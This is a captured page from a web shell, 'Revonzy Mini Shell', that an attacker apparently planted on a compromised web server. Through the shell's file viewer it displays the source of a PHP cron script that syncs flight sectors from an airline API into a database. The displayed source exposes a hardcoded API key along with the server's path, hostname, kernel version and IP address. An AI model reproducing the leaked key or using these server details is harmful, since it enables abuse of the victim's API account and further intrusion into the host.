Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/www/b2bflight.com/B2BFlight/project/dashboard/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/www/b2bflight.com/B2BFlight/project/dashboard/cron-available-sectors.php

<?php
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

    require_once('lib/functions.php');
    $db =   new class_functions();
    
    $authorizaed_key_token = "";
    $api_type = "AIRIQ";
    $authorizaed_key_token = $db->get_last_token_entry_from_api_login($api_type);

    $curl = curl_init();
    
    curl_setopt_array($curl, array(
      CURLOPT_URL => 'https://omairiq.azurewebsites.net/sectors',
      CURLOPT_RETURNTRANSFER => true,
      CURLOPT_ENCODING => '',
      CURLOPT_MAXREDIRS => 10,
      CURLOPT_TIMEOUT => 0,
      CURLOPT_FOLLOWLOCATION => true,
      CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
      CURLOPT_CUSTOMREQUEST => 'GET',
      CURLOPT_HTTPHEADER => array(
        'api-key:Mjc0NTI1MDpOQU1ERU8gVE9VUlMgJiBUUkFWRUxTOjE4ODQ2Njg1NjE4MjA6YXkzTXVLbkpUUFE4S3RkSzRIUXcydC82VDZIeFFYQTRsRGpFVDZ1L2V5QT0=',
        'Authorization:'.$authorizaed_key_token
      ),
    ));
    
    $response = curl_exec($curl);
    curl_close($curl);
    
    $result_array	=	json_decode($response);
    $result_array = json_decode(json_encode($result_array), true);
    
    //print_r($result_array);
    
    $response_code = $result_array['code'];
    $response_status = $result_array['status'];
    
    $result_array = $result_array['data'];
    
    if($response_code=="200")
    {
         print_r($result_array);
         //Delete all sectors data
        $db->delete_available_sector();
        
        //print_r($result_array);
        //Insert all sectors
        $counter = 0;
        foreach($result_array as $records)
        {
        	$Sector	=	$records['Sector'];
        	$Origin	=	$records['Origin'];
        	$Destination	=	$records['Destination'];
        	$other  =   "-";
        	
            if ($db->insert_available_sector($Sector, $Origin, $Destination, $other)) 
            {
                $flag = 1;
                echo "success";
            }
            $counter++;
        }
    
    }
    
    
?>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4